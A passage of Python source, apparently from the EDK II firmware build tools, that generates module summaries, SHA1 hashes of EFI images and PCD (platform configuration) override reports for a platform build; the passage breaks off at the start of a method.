ModuleReport object for # a separate module in a platform build. # # @param self The object pointer # @param M Module context information # @param ReportType The kind of report items in the final report file # def __init__(self, M, ReportType): self.ModuleName = M.Module.BaseName self.ModuleInfPath = M.MetaFile.File self.FileGuid = M.Guid self.Size = 0 self.BuildTimeStamp = None self.Hash = 0 self.DriverType = "" if not M.IsLibrary: ModuleType = M.ModuleType if not ModuleType: ModuleType = COMPONENT_TO_MODULE_MAP_DICT.get(M.ComponentType, "") # # If a module complies to PI 1.1, promote Module type to "SMM_DRIVER" # if ModuleType == SUP_MODULE_DXE_SMM_DRIVER: PiSpec = M.Module.Specification.get("PI_SPECIFICATION_VERSION", "0x00010000") if int(PiSpec, 0) >= 0x0001000A: ModuleType = "SMM_DRIVER" self.DriverType = gDriverTypeMap.get(ModuleType, "0x2 (FREE_FORM)") self.UefiSpecVersion = M.Module.Specification.get("UEFI_SPECIFICATION_VERSION", "") self.PiSpecVersion = M.Module.Specification.get("PI_SPECIFICATION_VERSION", "") self.PciDeviceId = M.Module.Defines.get("PCI_DEVICE_ID", "") self.PciVendorId = M.Module.Defines.get("PCI_VENDOR_ID", "") self.PciClassCode = M.Module.Defines.get("PCI_CLASS_CODE", "") self.BuildTime = M.BuildTime self._BuildDir = M.BuildDir self.ModulePcdSet = {} if "PCD" in ReportType: # # Collect all module used PCD set: module INF referenced directly or indirectly. # It also saves module INF default values of them in case they exist. # for Pcd in M.ModulePcdList + M.LibraryPcdList: self.ModulePcdSet.setdefault((Pcd.TokenCName, Pcd.TokenSpaceGuidCName, Pcd.Type), (Pcd.InfDefaultValue, Pcd.DefaultValue)) self.LibraryReport = None if "LIBRARY" in ReportType: self.LibraryReport = LibraryReport(M) self.DepexReport = None if "DEPEX" in ReportType: self.DepexReport = DepexReport(M) if "BUILD_FLAGS" in ReportType: self.BuildFlagsReport = BuildFlagsReport(M) ## # Generate report for module information # # This function generates report for separate module expression # in a platform build. # # @param self The object pointer # @param File The file object for report # @param GlobalPcdReport The platform global PCD report object # @param GlobalPredictionReport The platform global Prediction report object # @param GlobalDepexParser The platform global Dependency expression parser object # @param ReportType The kind of report items in the final report file # def GenerateReport(self, File, GlobalPcdReport, GlobalPredictionReport, GlobalDepexParser, ReportType): FileWrite(File, gSectionStart) FwReportFileName = os.path.join(self._BuildDir, "DEBUG", self.ModuleName + ".txt") if os.path.isfile(FwReportFileName): try: FileContents = open(FwReportFileName).read() Match = gModuleSizePattern.search(FileContents) if Match: self.Size = int(Match.group(1)) Match = gTimeStampPattern.search(FileContents) if Match: self.BuildTimeStamp = datetime.fromtimestamp(int(Match.group(1))) except IOError: EdkLogger.warn(None, "Fail to read report file", FwReportFileName) if "HASH" in ReportType: OutputDir = os.path.join(self._BuildDir, "OUTPUT") DefaultEFIfile = os.path.join(OutputDir, self.ModuleName + ".efi") if os.path.isfile(DefaultEFIfile): Tempfile = os.path.join(OutputDir, self.ModuleName + "_hash.tmp") # rebase the efi image since its base address may not zero cmd = ["GenFw", "--rebase", str(0), "-o", Tempfile, DefaultEFIfile] try: PopenObject = subprocess.Popen(' '.join(cmd), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) except Exception as X: EdkLogger.error("GenFw", COMMAND_FAILURE, ExtraData="%s: %s" % (str(X), cmd[0])) EndOfProcedure = threading.Event() EndOfProcedure.clear() if PopenObject.stderr: StdErrThread = threading.Thread(target=ReadMessage, args=(PopenObject.stderr, EdkLogger.quiet, EndOfProcedure)) StdErrThread.setName("STDERR-Redirector") StdErrThread.setDaemon(False) StdErrThread.start() # waiting for program exit PopenObject.wait() if PopenObject.stderr: StdErrThread.join() if PopenObject.returncode != 0: EdkLogger.error("GenFw", COMMAND_FAILURE, "Failed to generate firmware hash image for %s" % (DefaultEFIfile)) if os.path.isfile(Tempfile): self.Hash = hashlib.sha1() buf = open(Tempfile, 'rb').read() if self.Hash.update(buf): self.Hash = self.Hash.update(buf) self.Hash = self.Hash.hexdigest() os.remove(Tempfile) FileWrite(File, "Module Summary") FileWrite(File, "Module Name: %s" % self.ModuleName) FileWrite(File, "Module INF Path: %s" % self.ModuleInfPath) FileWrite(File, "File GUID: %s" % self.FileGuid) if self.Size: FileWrite(File, "Size: 0x%X (%.2fK)" % (self.Size, self.Size / 1024.0)) if self.Hash: FileWrite(File, "SHA1 HASH: %s *%s" % (self.Hash, self.ModuleName + ".efi")) if self.BuildTimeStamp: FileWrite(File, "Build Time Stamp: %s" % self.BuildTimeStamp) if self.BuildTime: FileWrite(File, "Module Build Time: %s" % self.BuildTime) if self.DriverType: FileWrite(File, "Driver Type: %s" % self.DriverType) if self.UefiSpecVersion: FileWrite(File, "UEFI Spec Version: %s" % self.UefiSpecVersion) if self.PiSpecVersion: FileWrite(File, "PI Spec Version: %s" % self.PiSpecVersion) if self.PciDeviceId: FileWrite(File, "PCI Device ID: %s" % self.PciDeviceId) if self.PciVendorId: FileWrite(File, "PCI Vendor ID: %s" % self.PciVendorId) if self.PciClassCode: FileWrite(File, "PCI Class Code: %s" % self.PciClassCode) FileWrite(File, gSectionSep) if "PCD" in ReportType: GlobalPcdReport.GenerateReport(File, self.ModulePcdSet) if "LIBRARY" in ReportType: self.LibraryReport.GenerateReport(File) if "DEPEX" in ReportType: self.DepexReport.GenerateReport(File, GlobalDepexParser) if "BUILD_FLAGS" in ReportType: self.BuildFlagsReport.GenerateReport(File) if "FIXED_ADDRESS" in ReportType and self.FileGuid: GlobalPredictionReport.GenerateReport(File, self.FileGuid) FileWrite(File, gSectionEnd) def ReadMessage(From, To, ExitFlag): while True: # read one line a time Line = From.readline() # empty string means "end" if Line is not None and Line != "": To(Line.rstrip()) else: break if ExitFlag.isSet(): break ## # Reports platform and module PCD information # # This class reports the platform PCD section and module PCD subsection # in the build report file. # class PcdReport(object): ## # Constructor function for class PcdReport # # This constructor function generates PcdReport object a platform build. # It collects the whole PCD database from platform DSC files, platform # flash description file and package DEC files. # # @param self The object pointer # @param Wa Workspace context information # def __init__(self, Wa): self.AllPcds = {} self.UnusedPcds = {} self.ConditionalPcds = {} self.MaxLen = 0 self.Arch = None if Wa.FdfProfile: self.FdfPcdSet = Wa.FdfProfile.PcdDict else: self.FdfPcdSet = {} self.DefaultStoreSingle = True self.SkuSingle = True if GlobalData.gDefaultStores and len(GlobalData.gDefaultStores) > 1: self.DefaultStoreSingle = False if GlobalData.gSkuids and len(GlobalData.gSkuids) > 1: self.SkuSingle = False self.ModulePcdOverride = {} for Pa in Wa.AutoGenObjectList: self.Arch = Pa.Arch # # Collect all platform referenced PCDs and grouped them by PCD token space # GUID C Names # for Pcd in Pa.AllPcdList: PcdList = self.AllPcds.setdefault(Pcd.TokenSpaceGuidCName, {}).setdefault(Pcd.Type, []) if Pcd not in PcdList: PcdList.append(Pcd) if len(Pcd.TokenCName) > self.MaxLen: self.MaxLen = len(Pcd.TokenCName) # # Collect the PCD defined in DSC/FDF file, but not used in module # UnusedPcdFullList = [] for item in Pa.Platform.Pcds: Pcd = Pa.Platform.Pcds[item] if not Pcd.Type: # check the Pcd in FDF file, whether it is used in module first for T in PCD_TYPE_LIST: PcdList = self.AllPcds.setdefault(Pcd.TokenSpaceGuidCName, {}).setdefault(T, []) if Pcd in PcdList: Pcd.Type = T break if not Pcd.Type: PcdTypeFlag = False for package in Pa.PackageList: for T in PCD_TYPE_LIST: if (Pcd.TokenCName, Pcd.TokenSpaceGuidCName, T) in package.Pcds: Pcd.Type = T PcdTypeFlag = True if not Pcd.DatumType: Pcd.DatumType = package.Pcds[(Pcd.TokenCName, Pcd.TokenSpaceGuidCName, T)].DatumType break if PcdTypeFlag: break if not Pcd.DatumType: PcdType = Pcd.Type # Try to remove Hii and Vpd suffix if PcdType.startswith(TAB_PCDS_DYNAMIC_EX): PcdType = TAB_PCDS_DYNAMIC_EX elif PcdType.startswith(TAB_PCDS_DYNAMIC): PcdType = TAB_PCDS_DYNAMIC for package in Pa.PackageList: if (Pcd.TokenCName, Pcd.TokenSpaceGuidCName, PcdType) in package.Pcds: Pcd.DatumType = package.Pcds[(Pcd.TokenCName, Pcd.TokenSpaceGuidCName, PcdType)].DatumType break PcdList = self.AllPcds.setdefault(Pcd.TokenSpaceGuidCName, {}).setdefault(Pcd.Type, []) if Pcd not in PcdList and Pcd not in UnusedPcdFullList: UnusedPcdFullList.append(Pcd) if len(Pcd.TokenCName) > self.MaxLen: self.MaxLen = len(Pcd.TokenCName) if GlobalData.gConditionalPcds: for PcdItem in GlobalData.gConditionalPcds: if '.' in PcdItem: (TokenSpaceGuidCName, TokenCName) = PcdItem.split('.') if (TokenCName, TokenSpaceGuidCName) in Pa.Platform.Pcds: Pcd = Pa.Platform.Pcds[(TokenCName, TokenSpaceGuidCName)] PcdList = self.ConditionalPcds.setdefault(Pcd.TokenSpaceGuidCName, {}).setdefault(Pcd.Type, []) if Pcd not in PcdList: PcdList.append(Pcd) UnusedPcdList = [] if UnusedPcdFullList: for Pcd in UnusedPcdFullList: if Pcd.TokenSpaceGuidCName + '.' + Pcd.TokenCName in GlobalData.gConditionalPcds: continue UnusedPcdList.append(Pcd) for Pcd in UnusedPcdList: PcdList = self.UnusedPcds.setdefault(Pcd.TokenSpaceGuidCName, {}).setdefault(Pcd.Type, []) if Pcd not in PcdList: PcdList.append(Pcd) for Module in Pa.Platform.Modules.values(): # # Collect module override PCDs # for ModulePcd in Module.M.ModulePcdList + Module.M.LibraryPcdList: TokenCName = ModulePcd.TokenCName TokenSpaceGuid = ModulePcd.TokenSpaceGuidCName ModuleDefault = ModulePcd.DefaultValue ModulePath = os.path.basename(Module.M.MetaFile.File) self.ModulePcdOverride.setdefault((TokenCName, TokenSpaceGuid), {})[ModulePath] = ModuleDefault # # Collect PCD DEC default value. # self.DecPcdDefault = {} self._GuidDict = {} for Pa in Wa.AutoGenObjectList: for Package in Pa.PackageList: Guids = Package.Guids self._GuidDict.update(Guids) for (TokenCName, TokenSpaceGuidCName, DecType) in Package.Pcds: DecDefaultValue = Package.Pcds[TokenCName, TokenSpaceGuidCName, DecType].DefaultValue self.DecPcdDefault.setdefault((TokenCName, TokenSpaceGuidCName, DecType), DecDefaultValue) # # Collect PCDs defined in DSC common section # self.DscPcdDefault = {} for Pa in Wa.AutoGenObjectList: for (TokenCName, TokenSpaceGuidCName) in Pa.Platform.Pcds: DscDefaultValue = Pa.Platform.Pcds[(TokenCName, TokenSpaceGuidCName)].DscDefaultValue if DscDefaultValue: self.DscPcdDefault[(TokenCName, TokenSpaceGuidCName)] = DscDefaultValue def GenerateReport(self, File, ModulePcdSet): if not ModulePcdSet: if self.ConditionalPcds: self.GenerateReportDetail(File, ModulePcdSet, 1) if self.UnusedPcds: self.GenerateReportDetail(File, ModulePcdSet, 2) self.GenerateReportDetail(File, ModulePcdSet) ## # Generate report for PCD information # # This function generates report for separate module expression # in a platform build. # # @param self The object pointer # @param File The file object for report # @param ModulePcdSet Set of all PCDs referenced by module or None for # platform PCD report # @param ReportySubType 0 means platform/module PCD report, 1 means Conditional # directives section report, 2 means Unused Pcds section report # @param DscOverridePcds Module DSC override PCDs set # def GenerateReportDetail(self, File, ModulePcdSet, ReportSubType = 0): PcdDict = self.AllPcds if ReportSubType == 1: PcdDict = self.ConditionalPcds elif ReportSubType == 2: PcdDict = self.UnusedPcds if not ModulePcdSet: FileWrite(File, gSectionStart) if ReportSubType == 1: FileWrite(File, "Conditional Directives used by the build system") elif ReportSubType == 2: FileWrite(File, "PCDs not used by modules or in conditional directives") else: FileWrite(File, "Platform Configuration Database Report") FileWrite(File, " *B - PCD override in the build option") FileWrite(File, " *P - Platform scoped PCD override in DSC file") FileWrite(File, " *F - Platform scoped PCD override in FDF file") if not ReportSubType: FileWrite(File, " *M - Module scoped PCD override") FileWrite(File, gSectionSep) else: if not ReportSubType and ModulePcdSet: # # For module PCD sub-section # FileWrite(File, gSubSectionStart) FileWrite(File, TAB_BRG_PCD) FileWrite(File, gSubSectionSep) AllPcdDict = {} for Key in PcdDict: AllPcdDict[Key] = {} for Type in PcdDict[Key]: for Pcd in PcdDict[Key][Type]: AllPcdDict[Key][(Pcd.TokenCName, Type)] = Pcd for Key in sorted(AllPcdDict): # # Group PCD by their token space GUID C Name # First = True for PcdTokenCName, Type in sorted(AllPcdDict[Key]): # # Group PCD by their usage type # Pcd = AllPcdDict[Key][(PcdTokenCName, Type)] TypeName, DecType = gPcdTypeMap.get(Type, ("", Type)) MixedPcdFlag = False if GlobalData.MixedPcd: for PcdKey in GlobalData.MixedPcd: if (Pcd.TokenCName, Pcd.TokenSpaceGuidCName) in GlobalData.MixedPcd[PcdKey]: PcdTokenCName = PcdKey[0] MixedPcdFlag = True if MixedPcdFlag and not ModulePcdSet: continue # # Get PCD default value and their override relationship # DecDefaultValue = self.DecPcdDefault.get((Pcd.TokenCName, Pcd.TokenSpaceGuidCName, DecType)) DscDefaultValue = self.DscPcdDefault.get((Pcd.TokenCName, Pcd.TokenSpaceGuidCName)) DscDefaultValBak = DscDefaultValue DscDefaultValue = self.FdfPcdSet.get((Pcd.TokenCName, Key), DscDefaultValue) if DscDefaultValue != DscDefaultValBak: try: DscDefaultValue = ValueExpressionEx(DscDefaultValue, Pcd.DatumType, self._GuidDict)(True) except BadExpression as DscDefaultValue: EdkLogger.error('BuildReport', FORMAT_INVALID, "PCD Value: %s, Type: %s" %(DscDefaultValue, Pcd.DatumType)) InfDefaultValue = None PcdValue = DecDefaultValue if DscDefaultValue: PcdValue = DscDefaultValue if ModulePcdSet is not None: if (Pcd.TokenCName, Pcd.TokenSpaceGuidCName, Type) not in ModulePcdSet: continue InfDefault, PcdValue = ModulePcdSet[Pcd.TokenCName, Pcd.TokenSpaceGuidCName, Type] Pcd.DefaultValue = PcdValue if InfDefault == "": InfDefault = None BuildOptionMatch = False if GlobalData.BuildOptionPcd: for pcd in GlobalData.BuildOptionPcd: if (Pcd.TokenSpaceGuidCName, Pcd.TokenCName) == (pcd[0], pcd[1]): if pcd[2]: continue PcdValue = pcd[3] Pcd.DefaultValue = PcdValue BuildOptionMatch = True break if First: if ModulePcdSet is None: FileWrite(File, "") FileWrite(File, Key) First = False if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: PcdValueNumber = int(PcdValue.strip(), 0) if DecDefaultValue is None: DecMatch = True else: DecDefaultValueNumber = int(DecDefaultValue.strip(), 0) DecMatch = (DecDefaultValueNumber == PcdValueNumber) if InfDefaultValue is None: InfMatch = True else: InfDefaultValueNumber = int(InfDefaultValue.strip(), 0) InfMatch = (InfDefaultValueNumber == PcdValueNumber) if DscDefaultValue is None: DscMatch = True else: DscDefaultValueNumber = int(DscDefaultValue.strip(), 0) DscMatch = (DscDefaultValueNumber == PcdValueNumber) else: if DecDefaultValue is None: DecMatch = True else: DecMatch = (DecDefaultValue.strip() == PcdValue.strip()) if InfDefaultValue is None: InfMatch = True else: InfMatch = (InfDefaultValue.strip() == PcdValue.strip()) if DscDefaultValue is None: DscMatch = True else: DscMatch = (DscDefaultValue.strip() == PcdValue.strip()) IsStructure = False if GlobalData.gStructurePcd and (self.Arch in GlobalData.gStructurePcd) and ((Pcd.TokenCName, Pcd.TokenSpaceGuidCName) in GlobalData.gStructurePcd[self.Arch]): IsStructure = True if TypeName in ('DYNVPD', 'DEXVPD'): SkuInfoList = Pcd.SkuInfoList Pcd = GlobalData.gStructurePcd[self.Arch][(Pcd.TokenCName, Pcd.TokenSpaceGuidCName)] Pcd.DatumType = Pcd.StructName if TypeName in ('DYNVPD', 'DEXVPD'): Pcd.SkuInfoList = SkuInfoList if Pcd.PcdFieldValueFromComm: BuildOptionMatch = True DecMatch = False elif Pcd.SkuOverrideValues: DscOverride = False if not Pcd.SkuInfoList: OverrideValues = Pcd.SkuOverrideValues if OverrideValues: Keys = OverrideValues.keys() Data = OverrideValues[Keys[0]] Struct = Data.values()[0] DscOverride = self.ParseStruct(Struct) else: SkuList = sorted(Pcd.SkuInfoList.keys()) for Sku in SkuList: SkuInfo = Pcd.SkuInfoList[Sku] if TypeName in ('DYNHII', 'DEXHII'): if SkuInfo.DefaultStoreDict: DefaultStoreList = sorted(SkuInfo.DefaultStoreDict.keys()) for DefaultStore in DefaultStoreList: OverrideValues = Pcd.SkuOverrideValues[Sku] DscOverride = self.ParseStruct(OverrideValues[DefaultStore]) if DscOverride: break else: OverrideValues = Pcd.SkuOverrideValues[Sku] if OverrideValues: Keys = OverrideValues.keys() OverrideFieldStruct = self.OverrideFieldValue(Pcd, OverrideValues[Keys[0]]) DscOverride = self.ParseStruct(OverrideFieldStruct) if DscOverride: break if DscOverride: DscMatch = True DecMatch = False # # Report PCD item according to their override relationship # if DecMatch and InfMatch: self.PrintPcdValue(File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValBak, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, ' ') elif BuildOptionMatch: self.PrintPcdValue(File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValBak, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, '*B') else: if DscMatch: if (Pcd.TokenCName, Key) in self.FdfPcdSet: self.PrintPcdValue(File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValBak, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, '*F') else: self.PrintPcdValue(File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValBak, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, '*P') else: self.PrintPcdValue(File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValBak, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, '*M') if ModulePcdSet is None: if IsStructure: continue if not TypeName in ('PATCH', 'FLAG', 'FIXED'): continue if not BuildOptionMatch: ModuleOverride = self.ModulePcdOverride.get((Pcd.TokenCName, Pcd.TokenSpaceGuidCName), {}) for ModulePath in ModuleOverride: ModuleDefault = ModuleOverride[ModulePath] if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: ModulePcdDefaultValueNumber = int(ModuleDefault.strip(), 0) Match = (ModulePcdDefaultValueNumber == PcdValueNumber) else: Match = (ModuleDefault.strip() == PcdValue.strip()) if Match: continue IsByteArray, ArrayList = ByteArrayForamt(ModuleDefault.strip()) if IsByteArray: FileWrite(File, ' *M %-*s = %s' % (self.MaxLen + 15, ModulePath, '{')) for Array in ArrayList: FileWrite(File, Array) else: FileWrite(File, ' *M %-*s = %s' % (self.MaxLen + 15, ModulePath, ModuleDefault.strip())) if ModulePcdSet is None: FileWrite(File, gSectionEnd) else: if not ReportSubType and ModulePcdSet: FileWrite(File, gSubSectionEnd) def ParseStruct(self, struct): HasDscOverride = False if struct: for _, Values in struct.items(): if Values[1] and Values[1].endswith('.dsc'): HasDscOverride = True break return HasDscOverride def PrintPcdDefault(self, File, Pcd, IsStructure, DscMatch, DscDefaultValue, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue): if not DscMatch and DscDefaultValue is not None: Value = DscDefaultValue.strip() IsByteArray, ArrayList = ByteArrayForamt(Value) if IsByteArray: FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'DSC DEFAULT', "{")) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'DSC DEFAULT', Value)) if not InfMatch and InfDefaultValue is not None: Value = InfDefaultValue.strip() IsByteArray, ArrayList = ByteArrayForamt(Value) if IsByteArray: FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'INF DEFAULT', "{")) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'INF DEFAULT', Value)) if not DecMatch and DecDefaultValue is not None: Value = DecDefaultValue.strip() IsByteArray, ArrayList = ByteArrayForamt(Value) if IsByteArray: FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'DEC DEFAULT', "{")) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) FileWrite(File, ' %*s = %s' % (self.MaxLen + 19, 'DEC DEFAULT', Value)) if IsStructure: self.PrintStructureInfo(File, Pcd.DefaultValues) if DecMatch and IsStructure: self.PrintStructureInfo(File, Pcd.DefaultValues) def PrintPcdValue(self, File, Pcd, PcdTokenCName, TypeName, IsStructure, DscMatch, DscDefaultValue, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue, Flag = ' '): if not Pcd.SkuInfoList: Value = Pcd.DefaultValue IsByteArray, ArrayList = ByteArrayForamt(Value) if IsByteArray: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '{')) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', Value)) if IsStructure: OverrideValues = Pcd.SkuOverrideValues if OverrideValues: Keys = OverrideValues.keys() Data = OverrideValues[Keys[0]] Struct = Data.values()[0] OverrideFieldStruct = self.OverrideFieldValue(Pcd, Struct) self.PrintStructureInfo(File, OverrideFieldStruct) self.PrintPcdDefault(File, Pcd, IsStructure, DscMatch, DscDefaultValue, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue) else: FirstPrint = True SkuList = sorted(Pcd.SkuInfoList.keys()) for Sku in SkuList: SkuInfo = Pcd.SkuInfoList[Sku] SkuIdName = SkuInfo.SkuIdName if TypeName in ('DYNHII', 'DEXHII'): if SkuInfo.DefaultStoreDict: DefaultStoreList = sorted(SkuInfo.DefaultStoreDict.keys()) for DefaultStore in DefaultStoreList: Value = SkuInfo.DefaultStoreDict[DefaultStore] IsByteArray, ArrayList = ByteArrayForamt(Value) if FirstPrint: FirstPrint = False if IsByteArray: if self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '{')) elif self.DefaultStoreSingle and not self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '{')) elif not self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + DefaultStore + ')', '{')) else: FileWrite(File, ' %-*s : %6s %10s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '(' + DefaultStore + ')', '{')) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) if self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', Value)) elif self.DefaultStoreSingle and not self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', Value)) elif not self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + DefaultStore + ')', Value)) else: FileWrite(File, ' %-*s : %6s %10s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '(' + DefaultStore + ')', Value)) else: if IsByteArray: if self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '{')) elif self.DefaultStoreSingle and not self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '{')) elif not self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + DefaultStore + ')', '{')) else: FileWrite(File, ' %-*s : %6s %10s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '(' + DefaultStore + ')', '{')) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) if self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', Value)) elif self.DefaultStoreSingle and not self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', Value)) elif not self.DefaultStoreSingle and self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + DefaultStore + ')', Value)) else: FileWrite(File, ' %-*s : %6s %10s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', '(' + DefaultStore + ')', Value)) FileWrite(File, '%*s: %s: %s' % (self.MaxLen + 4, SkuInfo.VariableGuid, SkuInfo.VariableName, SkuInfo.VariableOffset)) if IsStructure: OverrideValues = Pcd.SkuOverrideValues[Sku] OverrideFieldStruct = self.OverrideFieldValue(Pcd, OverrideValues[DefaultStore]) self.PrintStructureInfo(File, OverrideFieldStruct) self.PrintPcdDefault(File, Pcd, IsStructure, DscMatch, DscDefaultValue, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue) else: Value = SkuInfo.DefaultValue IsByteArray, ArrayList = ByteArrayForamt(Value) if FirstPrint: FirstPrint = False if IsByteArray: if self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', "{")) else: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', "{")) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) if self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', Value)) else: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, Flag + ' ' + PcdTokenCName, TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', Value)) else: if IsByteArray: if self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', "{")) else: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', "{")) for Array in ArrayList: FileWrite(File, Array) else: if Pcd.DatumType in TAB_PCD_CLEAN_NUMERIC_TYPES: if Value.startswith(('0x', '0X')): Value = '{} ({:d})'.format(Value, int(Value, 0)) else: Value = "0x{:X} ({})".format(int(Value, 0), Value) if self.SkuSingle: FileWrite(File, ' %-*s : %6s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', Value)) else: FileWrite(File, ' %-*s : %6s %10s %10s = %s' % (self.MaxLen, ' ', TypeName, '(' + Pcd.DatumType + ')', '(' + SkuIdName + ')', Value)) if TypeName in ('DYNVPD', 'DEXVPD'): FileWrite(File, '%*s' % (self.MaxLen + 4, SkuInfo.VpdOffset)) if IsStructure: OverrideValues = Pcd.SkuOverrideValues[Sku] if OverrideValues: Keys = OverrideValues.keys() OverrideFieldStruct = self.OverrideFieldValue(Pcd, OverrideValues[Keys[0]]) self.PrintStructureInfo(File, OverrideFieldStruct) self.PrintPcdDefault(File, Pcd, IsStructure, DscMatch, DscDefaultValue, InfMatch, InfDefaultValue, DecMatch, DecDefaultValue) def OverrideFieldValue(self, Pcd, OverrideStruct): 